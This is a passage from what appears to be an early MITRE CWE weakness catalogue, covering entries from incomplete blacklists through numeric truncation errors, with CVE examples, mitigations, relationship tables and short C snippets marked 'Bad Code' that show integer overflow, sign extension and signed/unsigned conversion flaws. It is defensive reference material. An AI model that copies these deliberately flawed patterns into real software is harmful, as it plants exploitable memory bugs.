CVE-2005-2184	Incomplete blacklist prevents user from automatically executing .EXE files, but allows .LNK, allowing resultant Windows symbolic link.
CVE-2005-2782	PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp".

Reference	Description
CVE-2005-2959	Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error.
CVE-2005-3287	Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited.
CVE-2006-4308	Chain: only checks "javascript:" tag
CVE-2007-1343	product doesn't protect one dangerous variable against external modification
CVE-2007-3572	Chain: incomplete blacklist for OS command injection
CVE-2007-5727	Chain: only removes SCRIPT tags, enabling XSS

Potential Mitigations

Ensure black list covers all inappropriate content outlined in the Common Weakness Enumeration.

Combine use of black list with appropriate use of white lists.

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Other Notes

Some incomplete blacklist issues might arise from multiple interpretation errors, e.g. a blacklist for dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a blacklist for XSS manipulations might ignore an unusual construct that's supported by one web browser, but not others.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V		Page
CanPrecede		78	Failure to Preserve OS Command Structure ('OS Command Injection')	1000		77
CanPrecede		79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	1000	692	83
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')	1000		116
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	**699**		199
CanPrecede		434	Unrestricted File Upload	1000		461
ChildOf		693	Protection Mechanism Failure	**1000**		684
ChildOf		697	Insufficient Comparison	1000		687
PeerOf		*86*	*Failure to Sanitize Invalid Characters in Identifiers in Web Pages*	*1000*		*96*
CanAlsoBe		*186*	*Overly Restrictive Regular Expression*	*1000*		*215*
PeerOf		*434*	*Unrestricted File Upload*	*1000*		*461*
PeerOf		*625*	*Permissive Regular Expression*	*1000*		*609*
StartsChain		*692*	*Incomplete Blacklist to Cross-Site Scripting*	***709***	*692*	*683*

Relationship Notes

An incomplete blacklist frequently produces resultant weaknesses.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incomplete Blacklist

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
15	Command Delimiters
18	Embedding Scripts in Nonscript Elements
43	Exploiting Multiple Input Interpretation Layers
63	Simple Script Injection
71	Using Unicode Encoding to Bypass Validation Logic
73	User-Controlled Filename
85	Client Network Footprinting (using AJAX/XSS)

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
86	Embedding Script (XSS) in HTTP Headers	

References

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. February 2004.

S. Christey. "Blacklist defenses as a breeding ground for vulnerability variants". February 2006. < http://seclists.org/fulldisclosure/2006/Feb/0040.html >.

CWE-185: Incorrect Regular Expression

Weakness ID: 185 *(Weakness Class)* **Status:** Draft

Description

Summary

The software specifies a regular expression in a way that causes data to be improperly sanitized or compared.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0115	Local user DoS via invalid regular expressions.
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
CVE-2002-1527	Error infoleak via malformed input that generates a regular expression error.
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.
CVE-2005-0603	Malformed regexp syntax leads to error infoleak.
CVE-2005-1061	Certain strings are later used in a regexp, leading to a resultant crash.
CVE-2005-1820	Code injection due to improper quoting of regular expression.
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
CVE-2005-2169	MFV. Regular expression intended to protect against directory traversal reduces ".../.../" to "../".
CVE-2005-3153	Null byte bypasses PHP regexp check.
CVE-2005-4155	Null byte bypasses PHP regexp check.

Potential Mitigations

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplifies one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved a regular expression may not be full proof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.

Other Notes

Keywords: regexp

This can seem to overlap whitelist/blacklist problems, but it is intended to deal with improperly written regular expressions, regardless of the values that those regular expressions use. While whitelists and blacklists are often implemented using regular expressions, they can be implemented using other mechanisms as well.

Interacts with null byte in PHP.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
CanPrecede	We	182	Collapse of Data Into Unsafe Value	1000	210

Nature	Type	ID	Name	V	Page
CanPrecede	We	187	Partial Comparison	1000	216
ChildOf	We	697	Insufficient Comparison	**1000**	687
ParentOf	We	*186*	*Overly Restrictive Regular Expression*	***699 1000***	*215*
ParentOf	We	*625*	*Permissive Regular Expression*	***699 1000***	*609*

Research Gaps

Regexp errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Regular Expression Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
6	Argument Injection	
15	Command Delimiters	
79	Using Slashes in Alternate Encoding	

CWE-186: Overly Restrictive Regular Expression

Weakness ID: 186 *(Weakness Base)* **Status:** Draft

Description

Summary

A regular expression is overly restrictive, which prevents dangerous values from being detected.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-1604	MIE. ".php.ns" bypasses ".php$" regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache)

Potential Mitigations

Implementation

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.

Relationships

Nature	Type	ID	Name	V	Page
CanAlsoBe	We	183	Permissive Whitelist	1000	211
CanAlsoBe	We	184	Incomplete Blacklist	1000	212
ChildOf	We	185	Incorrect Regular Expression	**699 1000**	214

Relationship Notes

Can overlap whitelist/blacklist errors.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Overly Restrictive Regular Expression

CWE-187: Partial Comparison

Weakness ID: 187 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

Extended Description

For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1374	One-character password by attacker checks only against first character of real password.
CVE-2004-0765	Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates.
CVE-2004-1012	Argument parser of an IMAP server treats a partial command "body[p" as if it is "body.peek", leading to index error and out-of-bounds corruption.

Potential Mitigations

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Other Notes

This is conceptually similar to other weaknesses, such as insufficient verification and regular expression errors. It is primary to some weaknesses.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	**699**	199
ChildOf	Wc	697	Insufficient Comparison	**1000**	687
CanFollow	Wc	*185*	*Incorrect Regular Expression*	*1000*	*214*
PeerOf	Wb	*625*	*Permissive Regular Expression*	*1000*	*609*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Partial Comparison

CWE-188: Reliance on Data/Memory Layout

Weakness ID: 188 *(Weakness Base)* **Status:** Draft

Description

Summary

The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C

- C++

Common Consequences

Access control (including confidentiality and integrity): Can result in unintended modifications or information leaks of data.

Likelihood of Exploit

Low

Demonstrative Examples

C Example: *Bad Code*

```
void example() {
  char a;
  char b;
  *(&a + 1) = 0;
}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they get aligned to 32-bit boundaries.

Potential Mitigations

Design and Implementation: In flat address space situations, never allow computing memory addresses as offsets from another memory address.

Architecture and Design

Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

Testing: Test that the implementation properly handles each case in the protocol grammar.

Other Notes

When changing platforms or protocol versions, data may move in unintended ways. For example, some architectures may place local variables a and b right next to each other with a on top; some may place them next to each other with b on top; and others may add some padding to each. This ensured that each variable is aligned to a proper word size. In protocol implementations, it is common to offset relative to another field to pick out a specific piece of data. Exceptional conditions -- often involving new protocol versions -- may add corner cases that lead to the data layout changing in an unusual way. The result can be that an implementation accesses a particular part of a packet, treating data of one type as data of another type.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		137	Representation Errors	**699**	169
ChildOf		435	Interaction Error	1000	462
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	**1000**	735
ParentOf		*198*	*Use of Incorrect Byte Ordering*	***1000***	*229*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Reliance on data layout

CWE-189: Numeric Errors

Category ID: 189 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper calculation or conversion of numbers.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		19	Data Handling	**699**	14
ParentOf		*129*	*Unchecked Array Indexing*	*699*	*160*
ParentOf		*198*	*Use of Incorrect Byte Ordering*	***699***	*229*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*
ParentOf		*681*	*Incorrect Conversion between Numeric Types*	*699*	*673*
ParentOf		*682*	*Incorrect Calculation*	***699***	*673*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Numeric Errors

CWE-190: Integer Overflow or Wraparound

Weakness ID: 190 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

Extended Description

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

Terminology Notes

"integer overflow" is used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

Time of Introduction

- Implementation

Common Consequences

Availability

Integer overflows generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the integer overflow has resulted in a buffer overflow condition, data corruption will most likely take place.

Access Control

Instruction processing: Integer overflows can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

Bad Code

```
nresp = packet_get_int(); if (nresp < 0) {
  response = xmalloc(nresp*sizeof(char*));
  for (i = 0; i > nresp; i++) response[i] = packet_get_string(NULL);
}
```

If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

Example 2:

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

Bad Code

```
char* processNext(char* strm) {
  char buf[512]; short len = *(short*) strm;
  strm += sizeof(len);
  if (len <= 512) {
    memcpy(buf, strm, len);
    process(buf);
    return strm + len;
  }
  else {
    return -1;
  }
}
```

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed integer, so the check against the maximum structure length is done with signed integers, but len is converted to an unsigned integer for the call to memcpy(). If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.

Example 3:

Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

C Example:

Bad Code

```
short int bytesRec = 0;char buf[SOMEBIGNUM];
while(bytesRec < MAXGET) {
  bytesRec += getFromInput(buf+bytesRec);
}
```

In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.

Observed Examples

Reference	Description
CVE-2002-0391	Integer overflow via a large number of arguments.
CVE-2004-2013	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.
CVE-2005-0102	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.
CVE-2005-1141	Image with large width and height leads to integer overflow.

Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Architecture and Design

Use of sanity checks and assertions at the object level. Ensure that all protocols are strictly defined, such that all out of bounds behavior can be identified simply.

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible but should not be relied upon.

Implementation

Use unsigned integers where possible.

Relationships

Nature	Type	ID	Name	V		Page
ChildOf		20	Improper Input Validation	**700**		14
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	680	148
CanPrecede		122	Heap-based Buffer Overflow	1000		152
ChildOf		682	Incorrect Calculation	**699** **1000**		673
ChildOf		738	CERT C Secure Coding Section 04 - Integers (INT)	**734**		726
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734		727
PeerOf		*128*	*Wrap-around Error*	*1000*		*158*
StartsChain		*680*	*Integer Overflow to Buffer Overflow*	***709***	*680*	*672*

Relationship Notes

Integer overflows can be primary to buffer overflows.

Functional Areas

- Non-specific, memory management, counters

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Integer overflow (wrap or wraparound)
7 Pernicious Kingdoms		Integer Overflow
CLASP		Integer overflow
CERT C Secure Coding	INT03-C	Use a secure integer library
CERT C Secure Coding	INT30-C	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	INT32-C	Ensure that operations on signed integers do not result in overflow
CERT C Secure Coding	INT35-C	Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT C Secure Coding	MEM07-C	Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t
CERT C Secure Coding	MEM35-C	Allocate sufficient memory for an object

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
92	Forced Integer Overflow	

References

Yves Younan. "An overview of common programming security vulnerabilities and possible solutions". Student thesis section 5.4.3. August 2003. < http://fort-knox.org/thesis.pdf >.

blexim. "Basic Integer Overflows". Phrack - Issue 60, Chapter 10. < http://www.phrack.org/archives/60/p60-0x0a.txt >.

CWE-191: Integer Underflow (Wrap or Wraparound)

Weakness ID: 191 *(Weakness Base)* **Status:** Draft

Description

Summary

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

Extended Description

This can happen in signed and unsigned cases.

Alternate Terms

Integer underflow

"Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue.

"Integer underflow" is occasionally used to describe array index errors in which the index is negative.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- C
- C++
- Java
- .NET

Demonstrative Examples
The following example has an integer underflow. The value of i is already at the lowest negative value possible. The new value of i is 2147483647.

Bad Code

```
#include <stdio.h>
#include <stdbool.h>
main (void)
{
  int i;
  unsigned int j = 0;
  i = -2147483648;
  i = i - 1;
  j = j - 1;
  return 0;
}
```

Observed Examples

Reference	Description
CVE-2004-0816	Integer underflow in firewall via malformed packet.
CVE-2004-1002	Integer underflow by packet with invalid length.
CVE-2005-0199	Long input causes incorrect length calculation.
CVE-2005-1891	Malformed icon causes integer underflow in loop counter variable.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	682	Incorrect Calculation	**699 1000**	673

Research Gaps
Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Integer underflow (wrap or wraparound)

CWE-192: Integer Coercion Error

Category ID: 192 *(Category)* **Status:** Incomplete

Description
Summary
Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- C
- C++
- Java
- .NET

Common Consequences

Availability
Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.

Access Control
In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.

Integrity
Integer coercion errors result in an incorrect value being stored for the variable in question.

Likelihood of Exploit
Medium

Demonstrative Examples
See the Examples section of the problem type Unsigned to signed conversion error for an example of integer coercion errors.

Potential Mitigations
Requirements specification: A language which throws exceptions on ambiguous data casts might be chosen.

Architecture and Design
Design objects and program flow such that multiple or complex casts are unnecessary

Implementation
Ensure that any data type casting that you must used is entirely understood in order to reduce the plausibility of error in use.

Other Notes
Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

Relationships

Nature	Type	ID	Name	V	Page
CanAlsoBe	We	194	Unexpected Sign Extension	1000	224
CanAlsoBe	WV	195	Signed to Unsigned Conversion Error	1000	226
CanAlsoBe	WV	196	Unsigned to Signed Conversion Error	1000	227
CanAlsoBe	We	197	Numeric Truncation Error	1000	228
ChildOf	We	681	Incorrect Conversion between Numeric Types	**1000**	673
ChildOf	Wc	682	Incorrect Calculation	**699**	673
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Integer coercion error
CERT C Secure Coding	INT02-C	Understand integer conversion rules
CERT C Secure Coding	INT05-C	Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	Ensure that integer conversions do not result in lost or misinterpreted data

Maintenance Notes
Within C, it might be that "coercion" is semantically different than "casting", possibly depending on whether the programmer directly specifies the conversion, or if the compiler does it implicitly. This has implications for the presentation of this node and others, such as CWE-681, and whether there is enough of a difference for these nodes to be split.

CWE-193: Off-by-one Error

Weakness ID: 193 *(Weakness Base)* **Status:** Draft

Description
Summary

A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

Alternate Terms

off-by-five

An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1568	
CVE-2001-0609	An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string.
CVE-2001-1391	
CVE-2001-1496	
CVE-2002-0083	
CVE-2002-0653	
CVE-2002-0844	
CVE-2002-1721	Off-by-one error causes an snprintf call to overwrite a critical internal variable with a null value.
CVE-2002-1745	Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension.
CVE-2002-1816	Off-by-one buffer overflow.
CVE-2003-0252	
CVE-2003-0356	
CVE-2003-0466	Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server.
CVE-2003-0625	Off-by-one error allows read of sensitive memory via a malformed request.
CVE-2004-0005	
CVE-2004-0342	This is an interesting example that might not be an off-by-one.
CVE-2004-0346	
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	We	119	Failure to Constrain Operations within the Bounds of a Memory Buffer	1000	144
CanPrecede	We	170	Improper Null Termination	1000	196
CanPrecede	Wv	617	Reachable Assertion	1000	603
ChildOf	We	682	Incorrect Calculation	**699** **1000**	673
ChildOf		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	**734**	727

Relationship Notes

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

Research Gaps

Under-studied. It requires careful code analysis or black box testing, where inputs of excessive length might not cause an error. Off-by-ones are likely triggered by extensive fuzzing, with the attendant diagnostic problems.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Off-by-one Error
CERT C Secure Coding	STR31-C	Guarantee that storage for strings has sufficient space for character data and the null terminator

References

Halvar Flake. "Third Generation Exploits". presentation at Black Hat Europe 2001. < http://www.blackhat.com/presentations/bh-europe-01/halvar-flake/bh-europe-01-halvarflake.ppt >.

Steve Christey. "Off-by-one errors: a brief explanation". Secprog and SC-L mailing list posts. 2004-05-05. < http://marc.theaimsgroup.com/?l=secprog&m=108379742110553&w=2 >.

klog. "The Frame Pointer Overwrite". Phrack Issue 55, Chapter 8. 1999-09-09. < http://kaizo.org/mirrors/phrack/phrack55/P55-08 >.

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code (The buffer overflow chapter)". Addison-Wesley. February 2004.

CWE-194: Unexpected Sign Extension

Weakness ID: 194 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity
Confidentiality
Availability

When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.

Likelihood of Exploit

High

Demonstrative Examples

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Bad Code

```
int GetUntrustedInt () {
  return(0x0000FFFF);
}
main (int argc, char **argv) {
  char path[256];
  char *input;
  int i;
  unsigned short s;
  unsigned int sz;
```

```
  i = GetUntrustedInt();
  s = i;
  /* s is -1 so it passes the safety check - CWE-697 */
  if (s > 256) {
    DiePainfully("go away!\n");
  }
  /* s is sign-extended and saved in sz */
  sz = s;
  /* output: i=255, s=-1, sz=4294967295 - your mileage may vary */
  printf("i=%d, s=%d, sz=%u\n", i, s, sz);
  input = GetUserInput("Enter pathname:");
  /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
  (CWE-195), enabling buffer overflow (CWE-119) */
  strncpy(path, input, s);
  path[255] = '\0'; /* don't want CWE-170 */
  printf("Path is: %s\n", path);
}
```

Observed Examples

Reference	Description
CVE-1999-0234	Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection.
CVE-2003-0161	Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error.
CVE-2005-2753	Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy.
CVE-2006-1834	chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier.
CVE-2007-4988	chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.

Potential Mitigations

Implementation

Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform sanity checks after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	681	Incorrect Conversion between Numeric Types	**699 1000**	673
CanAlsoBe		*192*	*Integer Coercion Error*	*1000*	*221*
CanAlsoBe	WE	*197*	*Numeric Truncation Error*	*1000*	*228*

Relationship Notes

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Sign extension error

References

John McDonald, Mark Dowd and Justin Schuh. "C Language Issues for Application Security". 2008-01-25. < http://www.informit.com/articles/article.aspx?p=686170&seqNum=6 >.

Robert Seacord. "Integral Security". 2006-11-03. < http://www.ddj.com/security/193501774 >.

Maintenance Notes

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

CWE-195: Signed to Unsigned Conversion Error

Weakness ID: 195 *(Weakness Variant)* **Status:** Draft

Description

Summary

A signed-to-unsigned conversion error takes place when a signed primitive is used as an unsigned value, usually as a size variable.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.

Demonstrative Examples

Example 1:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

Bad Code

```
unsigned int readdata () {
  int amount = 0;
  ...
  if (result == ERROR)
  amount = -1;
  ...
  return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system uses 32-bit integers.

Example 2:

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

Bad Code

```
unsigned int readdata () {
  int amount = 0;
  ...
  amount = accessmainframe();
  ...
  return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness passes signed comparison, leads to heap overflow

Other Notes

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate weak assumptions made elsewhere in the program.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	WW	122	Heap-based Buffer Overflow	1000	152
ChildOf	WE	681	Incorrect Conversion between Numeric Types	**699 1000**	673
CanAlsoBe		*192*	*Integer Coercion Error*	*1000*	*221*
CanAlsoBe	WE	*197*	*Numeric Truncation Error*	*1000*	*228*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Signed to unsigned conversion error

CWE-196: Unsigned to Signed Conversion Error

Weakness ID: 196 *(Weakness Variant)* **Status:** Draft

Description

Summary

An unsigned-to-signed conversion error takes place when a large unsigned primitive is used as a signed value.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Availability

Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.

Integrity

If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.

Access control (instruction processing): Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit

Medium

Demonstrative Examples

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Bad Code

```
int returnChunkSize(void *) {
  /* if chunk info is valid, return the size of usable memory,
  * else, return -1 to indicate an error
  */
  ...
}
int main() {
  ...
  memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
  ...
}
```

If returnChunkSize() happens to encounter an error, and returns -1, memcpy will assume that the value is unsigned and therefore interpret it as MAXINT-1, therefore copying far more memory than is likely available in the destination buffer.

Potential Mitigations

Requirements specification: Choose a language which is not subject to these casting flaws.

Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

Other Notes

Often, functions will return negative values to indicate a failure state. In the case of functions which return values which are meant to be used as sizes, negative return values can have unexpected results. If these values are passed to the standard memory copy or allocation functions, they will implicitly cast the negative error-indicating value to a large unsigned value. In the case of allocation, this may not be an issue; however, in the case of memory and string copy functions, this can lead to a buffer overflow condition which may be exploitable. Also, if the variables in question are used as indexes into a buffer, it may result in a buffer underflow condition.

Although less frequent an issue than signed-to-unsigned casting, unsigned-to-signed casting can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

Relationships

Nature	Type	ID	Name	V	Page
CanAlsoBe		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	148
CanAlsoBe	We	124	Boundary Beginning Violation ('Buffer Underwrite')	1000	155
ChildOf	We	681	Incorrect Conversion between Numeric Types	**699** **1000**	673
CanAlsoBe		*192*	*Integer Coercion Error*	*1000*	*221*
CanAlsoBe	We	*197*	*Numeric Truncation Error*	*1000*	*228*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Unsigned to signed conversion error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
92	Forced Integer Overflow	

CWE-197: Numeric Truncation Error

Weakness ID: 197 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

Time of Introduction

- Implementation

Applicable Platforms

